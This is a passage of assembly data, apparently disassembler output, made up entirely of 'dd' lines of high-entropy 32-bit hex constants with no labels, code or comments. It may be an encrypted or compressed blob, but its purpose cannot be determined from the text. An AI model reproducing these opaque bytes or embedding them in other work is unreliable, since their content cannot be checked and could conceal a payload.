		dd 1EFC2EEBh, 3ADC3584h, 0C62A3963h, 4B409FC0h,	9DED181Ch
		dd 0C16952C0h, 6903EE2h, 4CF1B4F8h, 6F0031F3h, 0FBB7997Bh
		dd 31CB261h, 9D0CD0FAh,	3818209Ah, 13892196h, 159800BEh
		dd 0A4256B24h, 0EE00AD3Dh, 69C0F1E4h, 0A8668FF0h, 485AD9E4h
		dd 1E88ACD4h, 0B25B6480h, 249E2EA9h, 8024FDABh,	0FCF5C5A0h
		dd 0F4122315h, 280413AFh, 83064550h, 0CD3F49EEh, 0BE1B80FCh
		dd 0D05BF821h, 518C1F81h, 0FAE0C090h, 7E9C6CEFh, 0AB619300h
		dd 26CFDD7Fh, 19371EB3h, 0F7FE80C8h, 0CCD0B60Fh, 69CEAC00h
		dd 8BD3CBC4h, 82263A3Fh, 7C22F80h, 0D0A46B1Dh, 6040DC6Eh
		dd 8802D523h, 0C76C01AFh, 4A0F8944h, 0DFEC8C9Fh, 5D32901h
		dd 555FB17Fh, 82E9C7AFh, 0D56076B4h, 0E801E5A2h, 96FAC88Eh
		dd 0BAF049E0h, 0FDFD5810h, 0D814D301h, 80578221h, 5EBCDC49h
		dd 0B9F8AD1h, 62DD7E9Bh, 0B369B28Ch, 6E2C5C00h,	0CC5F59D8h
		dd 3F5200BAh, 0EED26C2Eh, 860083D0h, 0CA82AE91h, 0B22577h
		dd 9650DC64h, 0BDA612E1h, 3D72C500h, 5D66B5B3h,	6C901D86h
		dd 9982A44h, 0E4B04F36h, 0F3EB500h, 501DD354h, 474682DCh
		dd 0FE88D125h, 56AF00C1h, 0C75B0CADh, 0F10FDA9Ch, 1D019BF4h
		dd 48903618h, 89A4A897h, 3E2A0087h, 2102C43Ah, 0BE546F3Ch
		dd 9B88AC98h, 0AEB800EBh, 0CFB3955Ch, 66792D53h, 6CDD0F00h
		dd 0CBEB4743h, 2A93776Bh, 187CBC40h, 0C175B1AAh, 60F985AEh
		dd 0A300F990h, 0E964527Dh, 1C0F8Ah, 8B13C210h, 4497C16Eh
		dd 0CD1924h, 0F9A873C0h, 49B702B2h, 2763E87Eh, 8136C880h
		dd 8412DDD9h, 5800E0E7h, 0F45389FDh, 4F473E10h,	76DC7D0h
		dd 0A5E58A52h, 18DB9105h, 44D72011h, 929F2B2Eh,	0F95E6C00h
		dd 18DE53A2h, 39D15539h, 0F31DD7C0h, 0EAC081F7h, 88D24442h
		dd 0D1CC30B4h, 4E954A20h, 34E38C00h, 2052DF22h,	0A9FC0097h
		dd 1A3B575Ch, 6C0C0464h, 307B4FDDh, 433900D9h, 0C84709B2h
		dd 343A1250h, 4A200A3h,	0ED91E721h, 0D02D0017h,	317F3259h
		dd 0BC38619Ch, 7ACF844Eh, 4980944Bh, 1D63F3DAh,	82FF379Ah
		dd 3F36BD93h, 28BA69E0h, 9010AA00h, 463DF57h, 0D1E86059h
		dd 4F9655EEh, 0F6DC3100h, 0A8F1C5C9h, 0FD500092h, 0BBE71E0Eh
		dd 0A8C76C02h, 7E60AA96h, 39EDA32h, 26DF259Fh, 49805348h
		dd 4B007F85h, 5D5A1097h, 60EB38F2h, 9018B90Bh, 1F78A232h
		dd 25CAE400h, 65D734C0h, 0B1570776h, 0BA5E62CEh, 805195B8h
		dd 1EEBE582h, 1AD0F527h, 0E159F6Ch, 8DF9E303h, 0B0BC5043h
		dd 4DC5E5F0h, 7E06FBE2h, 7482207Bh, 565918B8h, 0D6E9F1E3h
		dd 0F683C400h, 0B4D18519h, 3A53006Fh, 6208D9BAh, 8D053DAAh
		dd 5854E450h, 0E5C9D047h, 0EA8807C0h, 15F2EE6Fh, 0F8D2C363h
		dd 0DCCA4D01h, 0F3E0DBAEh, 11A713Eh, 0B0AB5E40h, 22D74714h
		dd 0DA4221E0h, 9C396F8Ch, 2A1F5E00h, 8E0EB678h,	3F391F07h
		dd 0CC540E7Ah, 0C95595E6h, 0BB83A8C0h, 0A3DBA85Fh, 9245F820h
		dd 0E5D43A25h, 0A5C11D07h, 6370CA32h, 23F84783h, 0A215B4DAh
		dd 0C6C8732h, 0F9795ADDh, 12E33708h, 23C38258h,	0C6B288A0h
		dd 400FB8Dh, 0E1287BBh,	0EAD259B0h, 0D5E00295h,	0FFEB5669h
		dd 6D026840h, 0F92D5E31h, 0A9836CEAh, 0E3B4CD69h, 854876E8h
		dd 358A22Eh, 0DA0AA020h, 0F82CF884h, 0F1E2560Ch, 1A7913h
		dd 292EC8A9h, 801EE1DFh, 68E75E24h, 0DEC21B03h,	0AFA00057h
		dd 0A466D372h, 3D00E828h, 82605EB4h, 30748CCFh,	0DA29D750h
		dd 91C9677Fh, 0CC9038CDh, 535E2ADCh, 43510484h,	9C33A850h
		dd 1388098Ch, 0ED2D0158h, 901ACDA4h, 201F60FFh,	2F1D4FE6h
		dd 0E03C4CC4h, 0F11EB6C9h, 3BB90714h, 0A2EB3338h, 7B40ED7Eh
		dd 8037CEFh, 0D3B07F5Ch, 0C28808ABh, 0E40B5667h, 3509004Bh
		dd 70A5A26h, 0AB836E68h, 7501F181h, 4CC0DE38h, 30936334h
		dd 0D0F40986h, 52AA0081h, 6C0697ABh, 0A00ED15h,	16D5335Eh
		dd 7B4AF80Fh, 284A635h,	245E6889h, 0E084FAC4h, 0C6E44A75h
		dd 97318D00h, 15854536h, 88FFBA9Bh, 0D7158604h,	66ECC0DBh
		dd 223EF4C0h, 0C88024E7h, 0B68D558h, 0E7ED4D9Eh, 0D2EF835Fh
		dd 0D1BAF93Fh, 0FE04821h, 1B4E015Fh, 0DCCDDEFBh, 1CCC22A6h
		dd 5185E62Fh, 0E072BE53h, 84660h, 189E6F24h, 0E5190E25h
		dd 78897E24h, 5480EE64h, 0A8A75D75h, 0C0F5BCB4h, 0E73BD161h
		dd 3D006E46h, 0E28DFA41h, 0E6810Eh, 8C2FD826h, 7F5AECFBh
		dd 0D8D53C28h, 6E506F11h, 8806BC15h, 37549700h,	0DC75410Bh
		dd 399DE700h, 9AE61BF1h, 42C129AFh, 0FA4E0C78h,	7E00A839h
		dd 0D720628Bh, 97CB98h,	6041793Bh, 0D8C299BCh, 0B650CD28h
		dd 0F487A824h, 84A0DDE2h, 0C4C8EA64h, 0BF8700A6h, 0CEE48315h
		dd 97F4DB93h, 128F9B00h, 32037F5Bh, 4410B0B6h, 18027CECh
		dd 64FCC978h, 4EF4803Fh, 0E0EA7Bh, 0AA63712Bh, 8FD10DFBh
		dd 50435E3Ch, 7415C8D3h, 1FC0DACAh, 806F4F39h, 20AA29B5h
		dd 46E4987h, 1CBC853Eh,	33D4BA09h, 2B3BF498h, 16835C00h
		dd 0FB8717D2h, 58B70FA5h, 4CA0E113h, 1BA8D70h, 163D94A8h
		dd 0B7D1EF07h, 98702C96h, 9031C806h, 0A2E11205h, 0D984030Ch
		dd 6109097Fh, 2025C2CDh, 0DAE1BB24h, 273B1FC5h,	0E233C0BFh
		dd 0A4547929h, 8040554Ch, 0FD1EA122h, 96EF6CDh,	65713EBEh
		dd 7C6A08B2h, 0A83C3C98h, 5EBFFC00h, 3E309D95h,	0ECEA2A8Bh
		dd 0EDDD299Ch, 1D91D0h,	375E93ACh, 90F9E9CDh, 4E1F0EFh
		dd 0B9D93846h, 99EC9870h, 80A8EA48h, 3128A1CCh,	0FEB81Dh
		dd 97E420EFh, 0A21C9E46h
		dd 33D54E00h, 0CC866E26h, 0FAF9C024h, 0BC322792h, 0D9602200h
		dd 0A054FFD8h, 0C7A61EB5h, 1FCB8439h, 0FC8CDD64h, 740AB79Fh
		dd 803409EDh, 858D38C0h, 567520CCh, 0D8C45D00h,	0A6FAFB94h
		dd 0E90C00A9h, 0B18D23B5h, 0E812C5EFh, 0DC094A57h, 5E1D8247h
		dd 0F514C445h, 99878850h, 0ED353AA8h, 4ECEF09Dh, 532077B5h
		dd 952346FAh, 448DC512h, 81FA030h, 72363A5Fh, 44FF411Dh
		dd 0C70B4903h, 0B489D960h, 56E38418h, 3A83F5Ch,	5E6FF1C6h
		dd 92FE035h, 29E160E2h,	36554A4Ch, 0ECDBC22Ah, 31681900h
		dd 0B08678FDh, 0DD005D8h, 9C341B3Ah, 6CE054A4h,	0E83980h
		dd 0FFB053FBh, 0CE5B522Ah, 0C0A492Eh, 0EA4B4D44h, 1704E410h
		dd 56C0501Dh, 0AE9FD200h, 3D602F51h, 39A4959Bh,	0DD97C004h
		dd 0E61362D5h, 0E071C151h, 80C5DFDh, 80DCEE29h,	554C2C1Ch
		dd 6E11E6h, 0A5188E79h,	5F74656Ah, 28142049h, 0E90064BCh
		dd 0A5F3A851h, 132B8BDh, 0A02C25EAh, 41E3E709h,	8004BA2Ch
		dd 7B8E8131h, 21DE602h,	37AE5347h, 844133F2h, 443016A4h
		dd 261D4E06h, 5C002E2Fh, 1A9133C6h, 3D353F22h, 0E1C0DF89h
		dd 0B57B9410h, 233FC500h, 0CF709852h, 0AF27079Ah, 442E490Dh
		dd 0E448D9CEh, 90E4561h, 8BC118AAh, 5288B05Ah, 1BDA1D35h
		dd 0D056920Eh, 2CD40910h, 204DE91Dh, 0A1A68940h, 0F4029B7h
		dd 0AABC0175h, 0CC983033h, 4F02482Fh, 1ACAD37h,	368C80D1h
		dd 5C1CB243h, 0DC103CA8h, 8D3F1D59h, 1C04AAD6h,	551CD3B4h
		dd 0C41258A6h, 0DF542056h, 9B009169h, 8F5B25FDh, 38E9CB3Bh
		dd 9C3DF32Dh, 36A31587h, 340AD2E8h, 0BB58786Ch,	0CDD380C8h
		dd 59BA3F90h, 90D2E886h, 84264A2Ch, 0EE030D7Eh,	0C5272C1Eh
		dd 0D3E08044h, 0BF46121Bh, 5ED402BAh, 8CE458E4h, 66F64E05h
		dd 0F091EEACh, 74117584h, 397842CBh, 220048EEh,	0C4CBD5DBh
		dd 93366216h, 0ECCC0058h, 40BC9AE9h, 0C74AEE0Ah, 0B353585Eh
		dd 5CF0CFE9h, 0AA2CA7h,	0C39B286Eh, 8EE2FD6Bh, 0BC23C62Eh
		dd 323E402Eh, 60DD4016h, 805670FCh, 65000AF9h, 9DAD2EFBh
		dd 468ECFh, 0AAF8FF32h,	3C7321F5h, 37264874h, 25673040h
		dd 0BC56080h, 0AD850744h, 0C75D1666h, 1EDECAABh, 54DBD49Dh
		dd 1BA0650h, 6A948FD6h,	0CCF4ADF7h, 5B0BB6EFh, 88233412h
		dd 2A6E807Bh, 4E9E7869h, 68BA9C49h, 7A863C0h, 0B59B0FCDh
		dd 62A3D3B8h, 10428988h, 2EC94400h, 0DB6465EDh,	0F681C019h
		dd 0BA02E601h, 0E08A16C0h, 7B4AB736h, 73D100B9h, 8B4C7C07h
		dd 0A85466EFh, 37240BE4h, 9B0468DDh, 3CD04F11h,	933395FDh
		dd 0CDC08FACh, 4151A5E7h, 2485D9FDh, 0CE00590Ch, 0CA9437AAh
		dd 240703EEh, 94685390h, 5C83C0C3h, 0FD98DBFFh,	0E0007607h
		dd 45D3AD8Fh, 4F31F0Fh,	1B15A0F6h, 51E0CC2Ch, 0CC0138B3h
		dd 53E45D57h, 0DD204822h, 0BF81F471h, 2521AC76h, 0E23E5683h
		dd 0E441F004h, 6F7F00ECh, 1961D321h, 0B70BFEEFh, 1080F2CDh
		dd 7A8634D0h, 0B327006Ah, 2132537Ch, 1004154h, 0FBBEA91h
		dd 0F82C8FDAh, 0E02496D8h, 81A96CE0h, 109B2CB8h, 0D117C24h
		dd 0B808E0Fh, 494FD2A0h, 0BD01F7E0h, 0EE304B91h, 4A973A95h
		dd 0CBC449Ch, 10C30B31h, 1CF583E4h, 0C0195937h,	0D7F67DE0h
		dd 7A0A4373h, 0D8A7258Ah, 6C743860h, 9F8096D3h,	51F822D9h
		dd 89D8CF48h, 14B490E2h, 57B00006h, 27565380h, 0EB1D460Ah
		dd 0D8006689h, 2EBF43A9h, 0C23B1867h, 0D1A059D9h, 70073000h
		dd 6B44031Eh, 4DCE00CCh, 97DDE437h, 551FDA2Fh, 80EAB847h
		dd 0B1872307h, 0C17028E1h, 0A4CC44h, 305A9342h,	0FA8AC670h
		dd 70624E4Ah, 11585337h, 0B0EF0FFAh, 64E28076h,	0FF7294h
		dd 3C25A42Dh, 78BD5F63h, 4C44104Eh, 805A5E5h, 0C3848890h
		dd 0EC2D64A0h, 56EBB900h, 1C5BE136h, 88C0BBF6h,	6D8EEF08h
		dd 781907EEh, 0EC0A1DD1h, 60370C42h, 0D26A70h, 5C526918h
		dd 7754BDCDh, 0D7F00B00h, 5E9AC63Dh, 0D24B0017h, 0A8BFEFAh
		dd 0DB0711BDh, 0D37753E6h, 5140BB70h, 6998036Eh, 0CEDA6CD1h
		dd 17541803h, 0F781EAF2h, 16DBD620h, 0D90703ECh, 556675C9h
		dd 0A4A84100h, 719360C0h, 0DEA70CEDh, 9878CE06h, 3A00A598h
		dd 0F2AF4D7Ah, 2405ED24h, 0D7775F0h, 0E069D36Bh, 63E24D2Dh
		dd 0A6C16000h, 33B1E4A0h, 0F80628E3h, 0B3F50670h, 795AF1D6h
		dd 0ED16F403h, 3976DE6Ch, 0E839BE49h, 696A7F80h, 0DF5C89C4h
		dd 8C594D29h, 0ABC0Bh, 0F303523Bh, 9A51184Eh, 9E82F89Bh
		dd 15D5C3Bh, 6C8EDA20h,	8448C1DFh, 0C0F274DBh, 0E8FBD979h
		dd 0F601FEDDh, 0F8304F0Eh, 2080BFD7h, 79C32BE4h, 0E01C7D71h
		dd 6B8FC6B7h, 5F45C0CEh, 77324C6Ah, 0E42A5092h,	672C0512h
		dd 40078CA6h, 51536174h, 0C60E7DC9h, 986BDDD1h,	1FCA89h
		dd 3EB5134Fh, 5E36023Ah, 3978248h, 0AB6AE1CCh, 0C8F03E19h
		dd 802A840Fh, 0C0BFBD8Eh, 0DB3C60DAh, 960E98CFh, 603B219Fh
		dd 0E0176522h, 0AED1419h, 841898C7h, 0F6553930h, 0F8024D00h
		dd 0B82E73C2h, 97E4F9h,	94235AD2h, 6870DA1Fh, 0B00A0492h
		dd 0CC3698EBh, 0A646D000h, 80D2414Ch, 0BA004877h, 0F88DB0Bh
		dd 30511DF3h, 0DCE05EACh, 4388D56Bh, 0F980073Ch, 908A01A7h
		dd 0EF96D646h, 0C0E80700h, 0C2EC206Bh, 0B0210717h, 0E0F1FE4Ah
		dd 0B16F350h, 0EE0C1493h, 31E79D1h, 8545AA1Dh, 0A5B0D336h
		dd 9128AC0Fh, 0F37BE0F9h, 52FB6214h, 381C9B8h, 707590h
		dd 0A6BC4CD9h, 4E64F99Bh, 0C5BB0600h, 0CB7B921Fh, 97732A5Ah
		dd 0AF714484h, 0F0F2539h, 405E4DB8h, 663A4FC1h,	7CD956A2h
		dd 5F72CF22h, 226EA100h, 27A526BFh, 0E82F00F4h,	0BDB9E9EEh
		dd 71485DCCh, 3CD6044Ch, 6C14774Ch, 0F300CE22h,	0B25CAF0Ah
		dd 0F0DA2376h, 294D6092h, 1D48417Bh, 0F0026B00h, 0EEE1F2A5h
		dd 2AE31349h, 1085CC6h,	0EBFCD7E4h, 18D47014h, 66006892h
		dd 9DAC390Dh, 795EFF2h,	3CF3F1DFh, 8BEAF137h, 1CD9C4A0h
		dd 38534702h, 4C0AC239h, 0B52601A4h, 983183ECh,	0C0F2E463h
		dd 0E98CD807h, 0D61007BCh, 0A0EE5F6Ch, 7B23A64h, 5708814Fh
		dd 61CC9A90h, 51D9E66Ch, 80D4EE98h, 7D7440A1h, 0FE3F22h
		dd 1FFB0AB3h, 0BC39BE68h, 1DEF6418h, 0DB5E29h, 0F07E65Bh
		dd 0F0A88F11h, 0E21D0DF8h, 67CAAF30h, 7B11E890h, 1CEAD609h
		dd 0EEF48421h, 0B24980CFh, 6A9B0D07h, 0F4AD500Ah, 7173013Fh
		dd 2A49114Bh, 0CFF2F033h, 54070B0Ch, 1260B0C7h,	26DCC78h
		dd 36E3D610h, 7C2CA8h, 0F58B34D2h, 61463A0h, 11F0F617h
		dd 970CD41h, 0DAECA7BEh, 6B75E8A2h, 1D523848h, 0BE02DF00h
		dd 9C8218Fh, 0C7E73A25h, 9AFC0376h, 5BEF57F2h, 551766A0h
		dd 0AE48E878h, 515A6794h, 0D193E5D0h, 99316392h, 0B4002E61h
		dd 0AD75327Ah, 8BD034h,	66E91E1Dh, 0B5DF9963h, 0D964BF06h
		dd 0E8896C4Dh, 0D0DC55D2h, 5AEC04Ch, 1FAF62E1h,	6B8C28D9h
		dd 0C31D860h, 113188Ah,	0E52A287Ch, 241DCC63h, 0B498D76Ch
		dd 69DC1501h, 76F0F25Fh, 8C8C9054h, 0B54100EDh,	7B80BCF7h
		dd 1501FE8Ch, 76A86C78h, 0E1F554F1h, 8AA098FAh,	33E83C51h
		dd 803084D5h, 4C7F0C0h,	4BF2B5D1h, 0D66CC842h, 8D87911Fh
		dd 1C8BEF84h, 0EC170481h, 0CC20F0BCh, 0E898E8F4h, 556A10C0h
		dd 33090417h, 0F2184DFCh, 0D96FB8E0h, 68254B1h,	6A77A718h
		dd 0B4984158h, 0B882D8FBh, 0ED651212h, 0A9A1B1F2h, 0FB8040B0h
		dd 121A63B0h, 9FBC0027h
		dd 0D5B5AF83h, 1630F9A2h, 0E956D1DCh, 20535999h, 5746911Eh
		dd 817403A6h, 0E87C1170h, 47D0F118h, 0D5D359h, 9C97BC09h
		dd 605516E9h, 50D11730h, 2AA38DB8h, 54582F61h, 2D3F051h
		dd 4D1763F8h, 38685883h, 2718CFCBh, 531157F5h, 68A212DFh
		dd 97830DDh, 0AA000E85h, 5E8F3B51h, 104DBF05h, 1642D45Bh
		dd 2C216570h, 83EC0C58h, 9ED00017h, 0A29BFE78h,	0DB545720h
		dd 0C760B2A8h, 38BB4E59h, 855612Ch, 866347D1h, 0DDC86C49h
		dd 4CD02831h, 0CB58037Ch, 5BAA48E4h, 0FCE1B10Fh, 0A44040C7h
		dd 0E830F2DFh, 749170h,	21E0E6ACh, 0CA004DBEh, 940FF79h
		dd 0AC0E9ADh, 0F4124E24h, 72FD06DCh, 0B7E6716Dh, 0D9174100h
		dd 0AE765A36h, 27F0A83h, 5E9E7A1h, 16263F3Ch, 80E03480h
		dd 9ADAAAC8h, 0D5102A81h, 0C971BAE3h, 0EAF0CA00h, 84883D64h
		dd 8F900FBh, 0B8A06A0Ah, 416FF42Eh, 0E5CB01E1h,	0F5D88232h
		dd 14D60113h, 0B3914D6Fh, 6123CCDBh, 1D200B16h,	6AAD9000h
		dd 15A8E1Fh, 8C5297A9h,	80D26B12h, 0B82978C9h, 60B611h
		dd 1083661Eh, 8674D95Bh, 40074Ch, 82E9A34Bh, 0F0A3Fh, 2F4E84C0h
		dd 436EEFDBh, 29DA6C01h, 11346038h, 2C183EF0h, 329568h
		dd 3C8AB86Eh, 7F05D935h, 0C598EA20h, 1559D821h,	4E4DDD10h
		dd 7BF0BC92h, 0F000F0A4h, 0EC09B698h, 0FAC4B704h, 0E413090Fh
		dd 8600F3DFh, 3547FF2Ch, 727AEA00h, 0F70D7FE8h,	0FAC00F6Eh
		dd 0C39EF449h, 84CB0AA1h, 718D5AC0h, 5DA39401h,	6825D153h
		dd 33A4ECh, 6BCF56EAh, 48D08421h, 92991665h, 49B8C8h, 6938ADC0h
		dd 0C482435Ah, 0EE864600h, 0BB277522h, 0FBE30CC9h, 0F23048D5h
		dd 45A4280Ch, 266A4917h, 266D55CBh, 0FCC815F0h,	5EE8D60Bh
		dd 0CC50FC10h, 72C0A88Bh, 8CC91DDh, 0A83BF4Fh, 2C235D4Dh
		dd 0BE407011h, 0AA618300h, 1F442FCh, 4A9ED8E9h,	0E36CA203h
		dd 0E8E1397Ch, 106E0B5Bh, 39C890D4h, 37B452D0h,	20C00992h
		dd 40D132Bh, 6FB77481h,	637889D2h, 15870020h, 29CED593h
		dd 0CB082E17h, 7C5100A0h, 31DF1446h, 1615851Bh,	0BA06EDD0h
		dd 5469573Ch, 6BA824h, 0AED6091Bh, 0C0AFA314h, 8800EF7Dh
		dd 2E989A57h, 246D4EE3h, 4018933Ch, 0D5BB7544h,	0A127C70Dh
		dd 0D00C08CBh, 0ADE89Eh, 0B5A04A0Eh, 5A19377Dh,	107670FDh
		dd 8826F409h, 3768B049h, 606BEA31h, 36766194h, 4300D2D0h
		dd 0B00CD125h, 25FBC14h, 9C117185h, 94406CF4h, 0BB775E7Dh
		dd 694DD013h, 1CC94434h, 0A42C59C6h, 0CBEC05BCh, 18D4812Ch
		dd 0C401FEA3h, 7C20C76Eh, 0F40800C8h, 456BAC7Eh, 2CB963F3h
		dd 0C883B92h, 0E5058C50h, 953C734Eh, 0D7B9032h,	9F9002D8h
		dd 415206h, 86B33A7h, 8A8D7BF9h, 8358193Ah, 4D29171Ch
		dd 5B5F881Eh, 6323749Bh, 51DE1850h, 788B00A4h, 89D5E69h
		dd 50AE2DC9h, 7465C300h, 703B2554h, 0D98100BDh,	2D7CAD56h
		dd 0FE7CA084h, 6E99441Eh, 8620FA80h, 22E3D8h, 94A84516h
		dd 0F114A58Fh, 32494600h, 0D0C09195h, 0E64DF444h, 2A89CE15h
		dd 0FDAB8B60h, 5B01CC27h, 77F9861Dh, 0F1F453B5h, 0E529C314h
		dd 9AD0695Dh, 0B407F3DDh, 3179D1CAh, 51506861h,	0F1708441h
		dd 81D37043h, 0E0EBAAC7h, 729A3F99h, 639C006Ah,	41F3358Fh
		dd 0CE183EFEh, 0B8F1A094h, 0C088AB27h, 0C0AF2DE1h, 69059019h
		dd 0BD00CA67h, 0D733EA88h, 3E9A662Ch, 3E00375Ah, 0A1EF2451h
		dd 0E20EC70Bh, 0A034A58Ch, 0D7F54ABBh, 0E69E0061h, 47C0DE19h
		dd 0BE01C8CDh, 58F181B2h, 0C09EED9Ah, 53B68C1Ch, 0FD001A81h
		dd 37F80EF7h, 60D8B901h, 4569991Fh, 43AFE9Bh, 49540A4Ch
		dd 0B81520F1h, 0C9007214h, 0B4ACB780h, 6E1DAF5h, 0F2AFF4B0h
		dd 9D0031FAh, 0A490ECDEh, 0ED807Fh, 7B3082C5h, 0C8F116AEh
		dd 0ABA42254h, 4344CB1Eh, 515D8300h, 60F68CEAh,	19CC69C7h
		dd 5E017AF3h, 0CEDF0D31h, 9C51358Dh, 91809DB6h,	43EDF8C5h
		dd 2701B169h, 952B8A78h, 0A0EB468Eh, 18ADB55Eh,	31A2B759h
		dd 6C03EECCh, 6D39AC01h, 5B3580B9h, 89B8003Ch, 0ECF8DF50h
		dd 8E0CD358h, 71A2A3CEh, 0BA8A0FFFh, 4FC6FEA7h,	0BE01C120h
		dd 891AD445h, 342088FFh, 86D2414Ah, 0EA231721h,	0CBF53079h
		dd 0ABE865D9h, 0A8281200h, 1863245Dh, 0B3E00076h, 0FB922B94h
		dd 0A01F22B7h, 0BD9D5E9Ch, 90DF1240h, 1AA6B207h, 0A826B150h
		dd 37490802h, 54B71482h, 0A2A4C848h, 0E4E6E500h, 35A1987Dh
		dd 0A6F6B8h, 0E8AF7388h, 0A21E8F51h, 0E5CE7812h, 8CF27445h
		dd 48FBFC08h, 0C1E10EE4h, 7CF4FD2Fh, 0D3880074h, 6D3F27A8h
		dd 0AD008D36h, 47A3EDD5h, 48624AA5h, 0D8887CACh, 9680A365h
		dd 7A2E4B1h, 51865485h,	0EBEF08Bh, 9629CB7Bh, 5618F0A4h
		dd 0F046D239h, 1F29022Ch, 0E4918EB5h, 94004C44h, 679E5DE2h
		dd 1E9CA13h, 3E3D487Dh,	22D66E0Dh, 2D490058h, 0AA3F4725h
		dd 9C3D145Eh, 290A0854h, 10D40152h, 80CD88A0h, 8114FECEh
		dd 5B0038B6h, 7E682948h, 0A83B36h, 375E265h, 34058187h
		dd 58085CA0h, 477F700h,	5A2A9D96h, 7EC8004Eh, 19D4C140h
		dd 1490D55Fh, 0A8446900h, 4F7708CBh, 0B4C66038h, 1B6D7C3Fh
		dd 0D2205200h, 0A896FDA3h, 0F0F800B2h, 76A6C256h, 0C4303DB1h
		dd 4914FE02h, 0B4B52627h, 0B755E030h, 95393E58h, 646A80CCh
		dd 634F7014h, 0A8212FFh, 806C2034h, 0AD079D3Dh,	173FE51Fh
		dd 84449C15h, 7940D0F8h, 93F2D324h, 636E5800h, 43F9BD6Fh
		dd 0CB9D127Bh, 85384059h, 3E618AFDh, 0E537B000h, 8004296Ch
		dd 44DC9093h, 72122653h, 701D1682h, 705187C1h, 4840ABCBh
		dd 53665C6h, 69C87CC5h,	42E8C789h, 0FC6924A5h, 182C62D7h
		dd 0CBA1D2F5h, 287AECh,	16604EF2h, 1DC08466h, 780125EAh
		dd 0B89D35AEh, 1847C6CDh, 877198BEh, 502F020h, 95E8DAF3h
		dd 0CD3004E2h, 9FE48808h, 10038B0h, 3B61397Dh, 0C5D598Dh
		dd 44CF95E0h, 0D8A1D531h, 4D2040EBh, 0F300C1E2h, 9016B4DBh
		dd 0FB63C93h, 1E1DAEF7h, 2D7A5522h, 760F6864h, 236ECF98h
		dd 0C52681D6h, 0BBA27780h, 4DA00C8h, 87F1F50Ah,	0CA3EE623h
		dd 9C5B89E5h, 2D8423DCh, 9D49077Ch, 0F37A824Ch,	40D8339Eh
		dd 0EA39E47Dh, 63A70F6Bh, 0D262C08Ah, 4382625h,	0F156AE2Bh
		dd 9FDD40FBh, 705714h, 35B19C7Fh, 7D34E8F7h, 0CEEBD0F1h
		dd 0CCB2760Bh, 0D16C187Ah, 0B53C881Dh, 0E4234618h, 0B9A2CB59h
		dd 0D2FF0B04h, 891C07D7h, 98EC9E50h, 67A3003Ch,	0CC8CB8A4h
		dd 0B8A40ACDh, 0A4EC9529h, 273D300h, 60F171F4h,	900AA9EEh
		dd 0F300DAF0h, 5B25AC0Dh, 0AB9319h, 9DA9E411h, 10A2A8C3h
		dd 0B524BC1Eh, 0C63C597Dh, 48C1A319h, 0C5052C20h, 0D2DEB9h
		dd 5D94C064h, 93F6C3B0h, 0FF845902h, 6AE28A79h,	0C4546094h
		dd 28C9881Bh, 1789F102h, 42977F2Dh, 4604412Bh, 91C2196h
		dd 3400D410h, 95E6DAF1h, 621E043h, 1B61F83h, 0A9B4F889h
		dd 85DF28CBh, 0B5143A34h, 6193685Ch, 0B83D8934h, 0F61684C8h
		dd 0C0C8589Ch, 209650DEh, 8CDA0543h, 99CB5Dh, 3C89FF10h
		dd 55FA29BEh, 577448h, 0D6E0B56Fh, 99AE5268h, 229C28C4h
		dd 0FF266794h, 7D4010FAh, 810DA9h, 0AE3072BBh, 0C1353127h
		dd 0AC49EC61h, 9E18AFEFh, 0C908F1h, 0F7BEC46Ch,	0F8B9EF21h
		dd 2CB48501h, 306636CEh, 8D038A4h, 5B041DBBh, 7C88F843h
		dd 0F3ED8897h, 0CD057273h, 8907481h, 182B89C0h,	34C958A0h
		dd 9ECEEF09h, 42DA5C19h, 0AC401548h, 0F5807682h, 9A19C0CEh
		dd 0BD74099Fh, 3A413900h, 5A463D27h, 348C011Bh,	324C20DFh
		dd 10A07B9Dh, 1F822AD2h, 0BB2D30D4h, 0AE46A469h, 41D1231Eh
		dd 518E00FFh, 8C801FCDh, 41456B48h, 88658A0h, 0A3066671h
		dd 26497788h, 3C3C7A4Ch, 0E632DE23h, 0BB20D0A0h, 1CEEC78Dh
		dd 0C7E02743h, 300F419Dh, 0FAF887D2h, 6D29C960h, 226C0FBh
		dd 63B8E07h, 0AC855CA5h, 7FA488F1h, 0CF71661Eh,	0DF007D6Eh
		dd 6FF72F45h, 0C50B2F9h, 0CADAA155h, 24009C51h,	614D72B1h
		dd 4A42B738h, 0D6302020h, 0A20FCCA7h, 0EF7C8123h, 4300705Eh
		dd 24593893h, 49034182h, 6181E75Dh, 8880A488h, 0ED3B110h
		dd 2906DE60h, 0C0D86384h, 2EEECD03h, 4C9411CFh,	2A6D2913h
		dd 3D9C17F1h, 43ACCE3Eh, 91B500CFh, 0E07BEC39h,	90D4F309h
		dd 0FDDC48E4h, 0F9050161h, 0DDFA51C6h, 3C69FC72h, 0A0DEAF24h
		dd 1D480439h, 4CC7A296h, 0CD64816Bh, 19864AE5h,	0E9522316h
		dd 6101C175h, 20FAB5A3h, 6864C687h, 96CE118Bh, 0FE86055Eh
		dd 0A080B95Dh, 673A16FCh, 20764145h, 0B772B06Fh, 44C4D255h
		dd 0E77580D8h, 0CA0ABE94h, 88CDF1Bh, 0E42B430Fh, 0B4A44858h
		dd 57203217h, 38665B51h, 0FAEB4E0Ch, 0EC6811CCh, 0C2F60076h
		dd 0CA7ACD85h, 0A9008BD1h, 0FD4B0380h, 94CBBE3Fh, 2461801Ch
		dd 0E5ED5A99h, 5DE7A00h, 2B68B936h, 0B7D40E48h,	9F00C6E6h
		dd 0B4F35B73h, 9567AA1Dh, 0B5FAD2C0h, 261B88F5h, 3FBC2502h
		dd 3C12D858h, 8BD888ACh, 7003B300h, 60407499h, 0E5480021h
		dd 13FC278Dh, 3700D79Ch, 16D2F3B5h, 231050h, 0F8DEC07Eh
		dd 88FEAC71h, 609EAB3Ch, 476C2460h, 12A10082h, 69B7DB2Fh
		dd 6EF84F6Dh, 805CCD38h, 3409724Ah, 0AC88A0h, 52C60854h
		dd 0CC1BFF60h, 849A9914h, 0DF5013DCh, 7A4D3080h, 4CB62AA6h
		dd 0F17788h, 836F0B59h,	63D75665h, 7077C712h, 8538A030h
		dd 963203F2h, 9001ADCDh, 0D7CE9203h, 0F04361FFh, 480D3C8Ch
		dd 350A2C9Fh, 80F8962Dh, 61AE890Ch, 9500819Ch, 0A151AC59h
		dd 2551A98h, 0C4B820CBh, 9C6919FCh, 0DBF10999h,	6F7CF022h
		dd 378B8971h, 44272C11h, 1520D8C4h, 589F2305h, 0C8D2AE47h
		dd 1774A0BEh, 7F73F2CAh, 0B8810360h, 0EE3B9170h, 1C813060h
